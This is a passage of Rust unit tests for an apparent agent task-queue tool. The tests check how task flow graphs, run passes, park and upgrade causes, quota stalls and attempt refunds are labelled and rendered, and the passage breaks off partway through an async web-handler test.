16032            "main".to_owned(),
16033            "0123456789abcdef".to_owned(),
16034            "Do it".to_owned(),
16035            Config::default(),
16036        );
16037        s.status = status;
16038        edit(&mut s);
16039        s
16040    }
16041
16042    fn flow_task(runs: &[&str]) -> Task {
16043        let mut t = Task::new(
16044            "t".to_owned(),
16045            "Do it".to_owned(),
16046            PathBuf::from("/repo/magi"),
16047            Source::Human,
16048        );
16049        for r in runs {
16050            t.start((*r).to_owned());
16051        }
16052        // Synthetic flows without RunPass records model legacy queue data.
16053        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
16054        t
16055    }
16056
16057    fn flow_for(task: &Task, states: &[(&str, Option<RunState>)]) -> FlowView {
16058        let h = task_history(task, |id| {
16059            states
16060                .iter()
16061                .find(|(i, _)| *i == id)
16062                .and_then(|(_, s)| s.clone())
16063        });
16064        task_flow(task, &h, 5, None)
16065    }
16066
16067    #[test]
16068    fn flow_start_times_use_each_pass_not_run_updates_or_settlements() {
16069        let queued = "2026-10-10T00:00:00Z".parse().unwrap();
16070        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16071        let first = "2026-10-10T02:00:00Z".parse().unwrap();
16072        let resumed = "2026-10-10T03:00:00Z".parse().unwrap();
16073        let held = "2026-10-10T04:00:00Z".parse().unwrap();
16074        let run = flow_run(RunStatus::Implementing, |s| {
16075            s.created_at = created;
16076            s.passes = vec![recorded_pass(0, None), recorded_pass(1, None)];
16077            s.passes[0].started_at = first;
16078            s.passes[1].started_at = resumed;
16079        });
16080        let mut task = flow_task(&[RUN_X, RUN_X]);
16081        task.created_at = queued;
16082        task.passes = vec![settled_pass(RUN_X, 0, crate::queue::PassCost::Refunded)];
16083        task.status = TaskStatus::Held;
16084        task.held_at = Some(held);
16085        let flow = flow_for(&task, &[(RUN_X, Some(run))]);
16086        assert_eq!(
16087            flow.nodes.iter().map(|n| n.started_at).collect::<Vec<_>>(),
16088            vec![Some(queued), Some(first), Some(resumed), Some(held)]
16089        );
16090        assert!(flow.nodes.iter().all(|n| n.time_expected));
16091        let json = serde_json::to_value(&flow).unwrap();
16092        assert_eq!(json["nodes"][2]["started_at"], resumed.to_string());
16093        assert_eq!(json["nodes"][2]["time_expected"], true);
16094    }
16095
16096    #[test]
16097    fn flow_start_times_leave_legacy_resumes_unreadable_and_status_starts_unknown() {
16098        let created = "2026-10-10T01:00:00Z".parse().unwrap();
16099        let run = flow_run(RunStatus::Implementing, |s| s.created_at = created);
16100        let mut task = flow_task(&[RUN_X, RUN_X, "missing"]);
16101        // These timestamps are not the start of the current status.
16102        task.held_at = Some(created);
16103        task.blocked_at = Some(created);
16104        for status in [
16105            TaskStatus::Queued,
16106            TaskStatus::Running,
16107            TaskStatus::Blocked,
16108            TaskStatus::Done,
16109            TaskStatus::Failed,
16110            TaskStatus::Parked,
16111            TaskStatus::Held,
16112        ] {
16113            task.status = status;
16114            if status == TaskStatus::Held {
16115                task.held_at = None;
16116            }
16117            let flow = flow_for(&task, &[(RUN_X, Some(run.clone()))]);
16118            assert_eq!(flow.nodes[1].started_at, Some(created));
16119            assert_eq!(flow.nodes[2].started_at, None, "legacy resume");
16120            assert_eq!(flow.nodes[3].started_at, None, "unreadable run");
16121            assert_eq!(flow.nodes[4].started_at, None, "{status:?}");
16122            let json = serde_json::to_value(&flow).unwrap();
16123            assert!(json["nodes"][3]["started_at"].is_null());
16124            assert_eq!(json["nodes"][3]["time_expected"], true);
16125        }
16126    }
16127
16128    #[test]
16129    fn flow_context_links_do_not_expect_start_times() {
16130        let mut task = flow_task(&[]);
16131        task.source = Source::Agent {
16132            run: "chat-id".to_owned(),
16133            node: "chat".to_owned(),
16134        };
16135        let origin = followup_origin(&fu(None), |_| None, |_| None);
16136        let flow = task_flow(&task, &[], 5, Some(&origin));
16137        for node in &flow.nodes[..2] {
16138            assert!(!node.time_expected);
16139            assert_eq!(node.started_at, None);
16140        }
16141        assert!(flow.nodes[2].time_expected);
16142    }
16143
16144    fn fu(origin_task: Option<&str>) -> crate::queue::FollowUp {
16145        crate::queue::FollowUp {
16146            run: "20260901-000000-aaaa".to_owned(),
16147            origin_task: origin_task.map(str::to_owned),
16148            pr: "https://example.com/o/r/pull/1".to_owned(),
16149            findings: ["R3-1-1", "R3-1-2", "R3-1-3", "R3-1-4"]
16150                .map(str::to_owned)
16151                .to_vec(),
16152            generation: 1,
16153        }
16154    }
16155
16156    fn parent_task() -> Task {
16157        let mut p = flow_task(&[]);
16158        p.title = "Parent title".to_owned();
16159        p.status = TaskStatus::Done;
16160        p
16161    }
16162
16163    #[test]
16164    fn flow_opens_with_the_parent_task_of_a_followup() {
16165        let p = parent_task();
16166        let pid = p.id.clone();
16167        let o = followup_origin(&fu(Some(&pid)), |i| (i == pid).then(|| p.clone()), |_| None);
16168        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16169        let n = &f.nodes[0];
16170        assert_eq!((n.kind, n.key.as_str()), ("followup", "origin"));
16171        assert_eq!(
16172            n.label,
16173            format!("Follow-up of {}", crate::queue::short(&pid))
16174        );
16175        assert_eq!(n.detail.as_deref(), Some("Parent title"));
16176        assert_eq!(n.status, Some("done"));
16177        assert_eq!(n.status_of, "task");
16178        assert_eq!(n.href.as_deref(), Some(format!("#/tasks/{pid}").as_str()));
16179        assert_eq!(f.nodes[1].key, "start");
16180        assert_eq!(f.edges[0].from, "origin");
16181        assert_eq!(
16182            f.edges[0].label,
16183            "open findings R3-1-1, R3-1-2, R3-1-3 +1 more"
16184        );
16185    }
16186
16187    #[test]
16188    fn flow_falls_back_to_the_merged_run_when_the_parent_is_gone() {
16189        let o = followup_origin(
16190            &fu(Some("gone")),
16191            |_| None,
16192            |_| {
16193                Some(RunState::new(
16194                    std::path::PathBuf::from("."),
16195                    "main".to_owned(),
16196                    "0".to_owned(),
16197                    "t".to_owned(),
16198                    crate::config::Config::default(),
16199                ))
16200            },
16201        );
16202        assert!(o.parent.is_none());
16203        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16204        let n = &f.nodes[0];
16205        assert_eq!(n.status_of, "run");
16206        assert_eq!(n.href.as_deref(), Some("#/runs/20260901-000000-aaaa"));
16207        assert!(n.label.starts_with("Follow-up of run "), "{}", n.label);
16208    }
16209
16210    #[test]
16211    fn flow_followup_with_nothing_readable_has_no_link() {
16212        let o = followup_origin(&fu(None), |_| panic!("no parent id to look up"), |_| None);
16213        let f = task_flow(&flow_task(&[]), &[], 5, Some(&o));
16214        let n = &f.nodes[0];
16215        assert_eq!(n.href, None);
16216        assert_eq!(n.note, Some("unreadable"));
16217        assert!(!n.readable);
16218    }
16219
16220    #[test]
16221    fn flow_keeps_the_chat_first_only_when_the_source_is_a_chat() {
16222        let o = followup_origin(&fu(None), |_| None, |_| None);
16223        let mut t = flow_task(&[]);
16224        t.origin_chat = Some("c1".to_owned());
16225        let f = task_flow(&t, &[], 5, Some(&o));
16226        assert_eq!(f.nodes[0].kind, "followup", "inherited chat adds no node");
16227        t.source = Source::Agent {
16228            run: "c1".to_owned(),
16229            node: crate::queue::CHAT_NODE.to_owned(),
16230        };
16231        let f = task_flow(&t, &[], 5, Some(&o));
16232        assert_eq!((f.nodes[0].kind, f.nodes[1].kind), ("chat", "followup"));
16233        assert_eq!(
16234            (f.edges[0].from.as_str(), f.edges[0].to.as_str()),
16235            ("chat", "origin")
16236        );
16237    }
16238
16239    #[test]
16240    fn followup_origin_encodes_ids_and_survives_a_self_reference() {
16241        let mut p = parent_task();
16242        p.id = "a b/c".to_owned();
16243        let o = followup_origin(&fu(Some("a b/c")), |_| Some(p.clone()), |_| None);
16244        assert_eq!(o.parent.expect("parent").href, "#/tasks/a%20b%2Fc");
16245    }
16246
16247    #[test]
16248    fn flow_opens_with_the_chat_that_queued_the_task() {
16249        let mut t = flow_task(&[]);
16250        t.source = Source::Agent {
16251            run: "a b/c".to_owned(),
16252            node: crate::queue::CHAT_NODE.to_owned(),
16253        };
16254        let f = flow_for(&t, &[]);
16255        assert_eq!(f.nodes[0].key, "chat");
16256        assert_eq!(f.nodes[0].kind, "chat");
16257        assert_eq!(
16258            f.nodes[0].label,
16259            format!("Chat {}", crate::queue::short("a b/c"))
16260        );
16261        assert_eq!(f.nodes[0].href.as_deref(), Some("#/chat/a%20b%2Fc"));
16262        assert_eq!(f.nodes[1].key, "start");
16263        assert_eq!(
16264            f.edges[0],
16265            FlowEdge {
16266                from: "chat".to_owned(),
16267                to: "start".to_owned(),
16268                label: "queued from chat".to_owned(),
16269                attempt: AttemptCost::None,
16270            }
16271        );
16272    }
16273
16274    #[test]
16275    fn flow_has_no_chat_box_for_other_sources() {
16276        for source in [
16277            Source::Human,
16278            Source::Issue {
16279                number: 3,
16280                repo: "o/r".to_owned(),
16281            },
16282            Source::Agent {
16283                run: "20260904-014455-ab12".to_owned(),
16284                node: "implement".to_owned(),
16285            },
16286        ] {
16287            let mut t = flow_task(&[]);
16288            t.source = source;
16289            let f = flow_for(&t, &[]);
16290            assert_eq!(f.nodes[0].key, "start");
16291            assert!(f.nodes.iter().all(|n| n.kind != "chat"));
16292            assert!(f.edges.iter().all(|e| e.from != "chat"));
16293        }
16294    }
16295
16296    const FA: &str = "20260902-140501-aaaa";
16297    const FB: &str = "20260902-140502-bbbb";
16298
16299    #[test]
16300    fn flow_follows_blocked_retry_merged_to_done() {
16301        let mut t = flow_task(&[FA, FB]);
16302        t.status = TaskStatus::Done;
16303        let f = flow_for(
16304            &t,
16305            &[
16306                (FA, Some(flow_run(RunStatus::Blocked, |_| {}))),
16307                (FB, Some(flow_run(RunStatus::Merged, |_| {}))),
16308            ],
16309        );
16310        let keys: Vec<_> = f.nodes.iter().map(|n| n.key.as_str()).collect();
16311        assert_eq!(keys, ["start", "run-1", "run-2", "end"]);
16312        assert_eq!(f.edges.len(), 3);
16313        assert_eq!(f.edges[0].label, "claimed");
16314        assert_eq!(f.edges[1].label, "blocked, attempt spent \u{2192} retry");
16315        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16316        assert_eq!(f.edges[2].label, "merged \u{2192} done");
16317        assert_eq!(
16318            f.nodes[2].href.as_deref(),
16319            Some("#/runs/20260902-140502-bbbb")
16320        );
16321        assert!(f.nodes[2].decided);
16322    }
16323
16324    #[test]
16325    fn flow_quota_stall_is_refunded_and_never_decided_then_resumes() {
16326        let quota = || {
16327            flow_run(RunStatus::Stalled, |s| {
16328                s.quota.push(crate::run::QuotaLoss {
16329                    seat: "judge-1".to_owned(),
16330                    node: "judge".to_owned(),
16331                    at: Timestamp::now(),
16332                    reset: None,
16333                })
16334            })
16335        };
16336        let mut t = flow_task(&[FA, FA]);
16337        t.status = TaskStatus::Queued;
16338        let f = flow_for(&t, &[(FA, Some(quota()))]);
16339        assert_eq!(f.nodes.len(), 4, "a repeated id is one node per pass");
16340        assert_eq!(f.nodes[1].note, Some("interrupted"));
16341        assert_eq!(
16342            f.nodes[1].status, None,
16343            "no outcome copied onto an earlier pass"
16344        );
16345        assert_eq!(
16346            f.edges[1].attempt,
16347            AttemptCost::Unknown,
16348            "a resume does not prove the earlier pass was refunded"
16349        );
16350        assert!(f.edges[1].label.contains("resume the same run"));
16351        assert_eq!(f.edges[2].attempt, AttemptCost::Unknown);
16352        assert_eq!(
16353            f.edges[2].label,
16354            "stalled after a resume, refund unknown \u{2192} queued"
16355        );
16356        assert!(!f.nodes[2].decided, "a stall is not a decision");
16357        assert_eq!(f.nodes[2].note, Some("no verdict"));
16358    }
16359
16360    #[test]
16361    fn flow_single_pass_quota_stall_is_refunded() {
16362        let t = flow_task(&[FA]);
16363        let f = flow_for(
16364            &t,
16365            &[(
16366                FA,
16367                Some(flow_run(RunStatus::Stalled, |s| {
16368                    s.quota.push(crate::run::QuotaLoss {
16369                        seat: "judge-1".to_owned(),
16370                        node: "judge".to_owned(),
16371                        at: Timestamp::now(),
16372                        reset: None,
16373                    })
16374                })),
16375            )],
16376        );
16377        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16378    }
16379
16380    #[test]
16381    fn flow_parked_refunds_and_stall_without_quota_spends() {
16382        let mut t = flow_task(&[FA]);
16383        t.status = TaskStatus::Queued;
16384        let f = flow_for(
16385            &t,
16386            &[(
16387                FA,
16388                Some(flow_run(RunStatus::Implementing, |s| s.parked = true)),
16389            )],
16390        );
16391        assert_eq!(f.edges[1].label, "parked, attempt refunded \u{2192} queued");
16392        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16393        let f = flow_for(&t, &[(FA, Some(flow_run(RunStatus::Stalled, |_| {})))]);
16394        assert_eq!(f.edges[1].attempt, AttemptCost::Spent);
16395        assert!(!f.nodes[1].decided);
16396    }
16397
16398    #[test]
16399    fn flow_keeps_an_unreadable_run_as_its_own_node() {
16400        let t = flow_task(&[FA, FB]);
16401        let f = flow_for(&t, &[(FB, Some(flow_run(RunStatus::Blocked, |_| {})))]);
16402        assert_eq!(f.nodes[1].note, Some("unreadable"));
16403        assert!(!f.nodes[1].readable);
16404        assert_eq!(f.nodes[1].run_kind, Some("unknown"));
16405        assert_eq!(f.edges[1].attempt, AttemptCost::Unknown);
16406    }
16407
16408    #[test]
16409    fn flow_names_the_branch_of_a_review_only_run() {
16410        let t = flow_task(&[FA]);
16411        let f = flow_for(
16412            &t,
16413            &[(
16414                FA,
16415                Some(flow_run(RunStatus::Merged, |s| {
16416                    s.instruction = "Review the work already on branch `magi/x/A`. Go.".to_owned()
16417                })),
16418            )],
16419        );
16420        assert_eq!(f.edges[0].label, "review-only run of branch magi/x/A");
16421        assert_eq!(
16422            f.nodes[1].detail.as_deref(),
16423            Some("review-only run of branch magi/x/A")
16424        );
16425    }
16426
16427    #[test]
16428    fn flow_ends_held_with_the_pr_left_open_and_flags_hand_edits() {
16429        let mut t = flow_task(&[FA]);
16430        t.status = TaskStatus::Held;
16431        let pr = crate::run::PrRecord {
16432            url: "https://example.test/pr/1".to_owned(),
16433            number: 1,
16434            state: "open".to_owned(),
16435            checks: "green".to_owned(),
16436            round: 0,
16437            rounds: 3,
16438            red_at_merge: Vec::new(),
16439        };
16440        let blocked = flow_run(RunStatus::Blocked, |s| s.pr = Some(pr));
16441        let f = flow_for(&t, &[(FA, Some(blocked.clone()))]);
16442        assert_eq!(f.edges[1].label, "blocked, PR left open \u{2192} held");
16443        t.status = TaskStatus::Done;
16444        let f = flow_for(&t, &[(FA, Some(blocked))]);
16445        assert_eq!(f.edges[1].label, "closed by hand: task is done");
16446    }
16447
16448    #[test]
16449    fn flow_with_no_runs_goes_from_queued_to_queued() {
16450        let t = flow_task(&[]);
16451        let f = flow_for(&t, &[]);
16452        assert_eq!(f.nodes.len(), 2);
16453        assert_eq!(f.edges.len(), 1);
16454        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16455        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16456    }
16457
16458    /// A run parked mid-flight keeps a non-terminal status; the page must
16459    /// still say why it stopped and that the attempt came back.
16460    #[test]
16461    fn a_parked_non_terminal_run_is_explained_as_parked() {
16462        let mut s = RunState::new(
16463            PathBuf::from("/repo/magi"),
16464            "main".to_owned(),
16465            "0123456789abcdef".to_owned(),
16466            "Do it".to_owned(),
16467            Config::default(),
16468        );
16469        s.status = RunStatus::Implementing;
16470        s.parked = true;
16471        let task = Task::new(
16472            "t".to_owned(),
16473            "Do it".to_owned(),
16474            PathBuf::from("/repo/magi"),
16475            Source::Human,
16476        );
16477        let v = task_run_view(
16478            "20260902-140501-aaaa",
16479            Some(&s),
16480            RunSlot {
16481                n: 1,
16482                resumed: false,
16483                resumed_later: None,
16484                prior: None,
16485                last: true,
16486                ..RunSlot::default()
16487            },
16488            &task,
16489        );
16490        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16491    }
16492
16493    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16494        let mut s = flow_run(RunStatus::Implementing, edit);
16495        s.parked = false;
16496        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16497        task_run_view(
16498            "20260902-140501-aaaa",
16499            Some(&s),
16500            RunSlot {
16501                n: 1,
16502                resumed: false,
16503                resumed_later: Some(2),
16504                prior: None,
16505                last: false,
16506                ..RunSlot::default()
16507            },
16508            &task,
16509        )
16510    }
16511
16512    #[test]
16513    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16514        let v = earlier_pass_view(|_| {});
16515        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16516        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16517        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16518        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16519        assert_eq!(v.exit, RunExit::Interrupted);
16520        assert_eq!(v.attempt, AttemptCost::Unknown);
16521    }
16522
16523    #[test]
16524    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16525        let v = earlier_pass_view(|s| {
16526            s.quota.push(crate::run::QuotaLoss {
16527                seat: "judge-1".to_owned(),
16528                node: "judge".to_owned(),
16529                at: Timestamp::now(),
16530                reset: None,
16531            });
16532        });
16533        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16534        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16535        assert_eq!(v.attempt, AttemptCost::Unknown);
16536    }
16537
16538    #[test]
16539    fn the_current_pass_states_its_recorded_cause_and_cost() {
16540        let slot = || RunSlot {
16541            n: 1,
16542            resumed: false,
16543            resumed_later: None,
16544            prior: None,
16545            last: true,
16546            ..RunSlot::default()
16547        };
16548        let task = flow_task(&["20260902-140501-aaaa"]);
16549        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16550        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16551        assert_eq!(
16552            (v.exit, v.attempt),
16553            (RunExit::Parked, AttemptCost::Refunded)
16554        );
16555        let spent = flow_run(RunStatus::Blocked, |_| {});
16556        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16557        assert_eq!(v.attempt, AttemptCost::Spent);
16558        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16559    }
16560
16561    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16562        crate::run::RunPass {
16563            index,
16564            started_at: Timestamp::now(),
16565            resumed: index > 0,
16566            ended_at: end.as_ref().map(|_| Timestamp::now()),
16567            end,
16568            task_entry: true,
16569        }
16570    }
16571
16572    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16573        Some(crate::run::PassEnd::Parked { cause })
16574    }
16575
16576    fn upgrade_cause() -> crate::run::ParkCause {
16577        crate::run::ParkCause::Upgrade {
16578            from: "0.121.0".to_owned(),
16579            to: Some("0.121.1".to_owned()),
16580        }
16581    }
16582
16583    fn settled_pass(
16584        run: &str,
16585        index: usize,
16586        cost: crate::queue::PassCost,
16587    ) -> crate::queue::TaskPass {
16588        crate::queue::TaskPass {
16589            run: run.to_owned(),
16590            pass_index: index,
16591            started_at: None,
16592            cost,
16593            attempts_after: 1,
16594            settled_at: Timestamp::now(),
16595            parked: None,
16596        }
16597    }
16598
16599    const RUN_X: &str = "20261011-223708-4334";
16600
16601    #[test]
16602    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
16603        use crate::queue::PassCost;
16604        let run = flow_run(RunStatus::Implementing, |s| {
16605            s.passes = vec![
16606                recorded_pass(0, parked(upgrade_cause())),
16607                recorded_pass(1, None),
16608            ];
16609        });
16610        let mut task = flow_task(&[RUN_X, RUN_X]);
16611        task.attempts = 1;
16612        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16613        let h = task_history(&task, |_| Some(run.clone()));
16614        assert_eq!(h.len(), 2);
16615        assert_eq!(h[0].kind, "competition");
16616        assert_eq!(h[1].kind, "resume");
16617        assert_eq!(
16618            (h[0].exit, h[0].attempt),
16619            (RunExit::Parked, AttemptCost::Refunded)
16620        );
16621        assert!(
16622            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
16623            "{}",
16624            h[0].outcome
16625        );
16626        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
16627        assert!(
16628            h[0].outcome.contains("pass #2 resumed the same run"),
16629            "{}",
16630            h[0].outcome
16631        );
16632        assert!(
16633            h[0].outcome.contains("pass 1 of 2 over run"),
16634            "{}",
16635            h[0].outcome
16636        );
16637        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16638        assert_eq!(
16639            h[0].exit_label,
16640            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
16641        );
16642        let f = task_flow(&task, &h, 2, None);
16643        // Two passes of one run, one of two attempts consumed.
16644        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
16645        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
16646        assert!(
16647            f.edges[1].label.contains("upgrade 0.121.0"),
16648            "{}",
16649            f.edges[1].label
16650        );
16651        assert!(
16652            f.edges[1].label.contains("resume the same run"),
16653            "{}",
16654            f.edges[1].label
16655        );
16656        assert_eq!(f.nodes[1].note, Some("parked"));
16657    }
16658
16659    #[test]
16660    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
16661        let mut a = flow_run(RunStatus::Implementing, |s| {
16662            s.passes = vec![
16663                recorded_pass(0, parked(upgrade_cause())),
16664                recorded_pass(1, None),
16665            ];
16666        });
16667        let mut b = flow_run(RunStatus::Failed, |s| {
16668            s.passes = vec![recorded_pass(0, None)];
16669        });
16670        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
16671        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
16672        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
16673        let mut task = flow_task(&[]);
16674        task.start("a".into());
16675        task.start("b".into());
16676        task.start("a".into());
16677        assert_eq!(task.runs, ["b", "a"]);
16678        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
16679        let h = task_history(&task, |id| {
16680            Some(if id == "a" { a.clone() } else { b.clone() })
16681        });
16682        assert_eq!(
16683            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
16684            ["a", "b", "a"]
16685        );
16686        assert_eq!(h[0].attempt, AttemptCost::Refunded);
16687        assert!(h[0].outcome.contains("upgrade"));
16688        assert_eq!(h[2].kind, "resume");
16689        assert!(h[2].pass.is_some());
16690        // The old repeated-id format must show the same recorded passes.
16691        task.runs = vec!["a".into(), "b".into(), "a".into()];
16692        let old = task_history(&task, |id| {
16693            Some(if id == "a" { a.clone() } else { b.clone() })
16694        });
16695        assert_eq!(
16696            old.iter()
16697                .map(|v| (&v.id, &v.kind, v.attempt))
16698                .collect::<Vec<_>>(),
16699            h.iter()
16700                .map(|v| (&v.id, &v.kind, v.attempt))
16701                .collect::<Vec<_>>()
16702        );
16703    }
16704
16705    #[test]
16706    fn an_upgrade_whose_target_was_not_known_says_so() {
16707        let run = flow_run(RunStatus::Implementing, |s| {
16708            s.passes = vec![
16709                recorded_pass(
16710                    0,
16711                    parked(crate::run::ParkCause::Upgrade {
16712                        from: "0.121.0".to_owned(),
16713                        to: None,
16714                    }),
16715                ),
16716                recorded_pass(1, None),
16717            ];
16718        });
16719        let task = flow_task(&[RUN_X, RUN_X]);
16720        let h = task_history(&task, |_| Some(run.clone()));
16721        assert!(
16722            h[0].outcome.contains("upgrade from 0.121.0"),
16723            "{}",
16724            h[0].outcome
16725        );
16726        // No settle record: the refund is not claimed.
16727        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16728    }
16729
16730    #[test]
16731    fn each_pass_keeps_its_own_cause_across_several_resumes() {
16732        use crate::queue::PassCost;
16733        use crate::run::ParkCause;
16734        let run = flow_run(RunStatus::Implementing, |s| {
16735            s.passes = vec![
16736                recorded_pass(0, parked(upgrade_cause())),
16737                recorded_pass(
16738                    1,
16739                    parked(ParkCause::Interrupt {
16740                        reason: "task a1b2 asked to run first".to_owned(),
16741                    }),
16742                ),
16743                recorded_pass(2, parked(ParkCause::Operator)),
16744                recorded_pass(3, None),
16745            ];
16746        });
16747        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
16748        task.attempts = 1;
16749        task.passes = (0..3)
16750            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
16751            .collect();
16752        let h = task_history(&task, |_| Some(run.clone()));
16753        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16754        assert!(
16755            h[1].outcome.contains("task a1b2 asked to run first"),
16756            "{}",
16757            h[1].outcome
16758        );
16759        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
16760        assert!(
16761            h[2].outcome.contains("operator asked the loop to park"),
16762            "{}",
16763            h[2].outcome
16764        );
16765        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
16766        let f = task_flow(&task, &h, 2, None);
16767        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
16768    }
16769
16770    #[test]
16771    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
16772        let run = flow_run(RunStatus::Implementing, |s| {
16773            s.passes = vec![
16774                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
16775                recorded_pass(1, None),
16776            ];
16777        });
16778        let task = flow_task(&[RUN_X, RUN_X]);
16779        let h = task_history(&task, |_| Some(run.clone()));
16780        assert_eq!(h[0].exit, RunExit::Interrupted);
16781        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16782        assert!(
16783            h[0].outcome.contains("without recording why"),
16784            "{}",
16785            h[0].outcome
16786        );
16787        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16788        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
16789    }
16790
16791    #[test]
16792    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
16793        use crate::queue::PassCost;
16794        // Three entries, but the run only began keeping passes at the last
16795        // two: the first is legacy and must not be given a cause.
16796        let run = flow_run(RunStatus::Implementing, |s| {
16797            s.passes = vec![
16798                recorded_pass(0, parked(upgrade_cause())),
16799                recorded_pass(1, None),
16800            ];
16801        });
16802        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
16803        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16804        let h = task_history(&task, |_| Some(run.clone()));
16805        assert!(h[0].pass.is_none());
16806        assert_eq!(h[0].exit, RunExit::Interrupted);
16807        assert_eq!(h[0].attempt, AttemptCost::Unknown);
16808        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16809        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16810        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
16811        // A run with no passes at all is entirely unknown.
16812        let legacy = flow_run(RunStatus::Implementing, |_| {});
16813        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
16814        assert!(h.iter().all(|v| v.pass.is_none()));
16815        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
16816    }
16817
16818    #[test]
16819    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
16820        use crate::queue::PassCost;
16821        // Pass 1 is a web-button resume: a pass of the run, no entry of the
16822        // task. The two entries are passes 0 and 2.
16823        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
16824        web.task_entry = false;
16825        let run = flow_run(RunStatus::Implementing, |s| {
16826            s.passes = vec![
16827                recorded_pass(0, parked(upgrade_cause())),
16828                web.clone(),
16829                recorded_pass(2, None),
16830            ];
16831        });
16832        let mut task = flow_task(&[RUN_X, RUN_X]);
16833        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
16834        let h = task_history(&task, |_| Some(run.clone()));
16835        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
16836        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
16837
16838        // Legacy first entry, then a web resume that parked for an upgrade,
16839        // then the daemon's pass: the legacy entry must stay unknown.
16840        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
16841        web0.task_entry = false;
16842        let run = flow_run(RunStatus::Implementing, |s| {
16843            s.passes = vec![web0.clone(), recorded_pass(1, None)];
16844        });
16845        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
16846        assert!(h[0].pass.is_none());
16847        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
16848        assert!(h[1].pass.is_some());
16849    }
16850
16851    #[tokio::test]
16852    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
16853        let dir = tempfile::tempdir().unwrap();
16854        let queue = Queue::at(dir.path().join("queue"));
16855        let ui = Arc::new(Ui::new(
16856            queue.clone(),
16857            Questions::at(dir.path().join("questions")),
16858            Talks::at(dir.path().join("talks")),
16859            dir.path().join("runs"),
16860            dir.path().to_path_buf(),
16861            dir.path().to_path_buf(),
16862        ));
16863        let mut t = Task::new(
16864            "recover".into(),
16865            "Inspect".into(),
16866            PathBuf::from("."),
16867            Source::Human,
16868        );
16869        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
16870        t.start("run-A".into());
16871        t.release_operator("choice", Some("resume-question"));
16872        t.resume_override = Some(crate::queue::OperatorResume {
16873            question_id: "resume-question".into(),
16874            at: jiff::Timestamp::now(),
16875            conductor_rehold: None,
16876            forced: true,
16877            pinned_run: Some("run-A".into()),
16878        });
16879        t.hold_machine(Some("inspection pending".into()));
16880        t.edit("recover".into(), "Reuse approved PR head".into())
16881            .unwrap();
16882        queue.put(&mut t).unwrap();
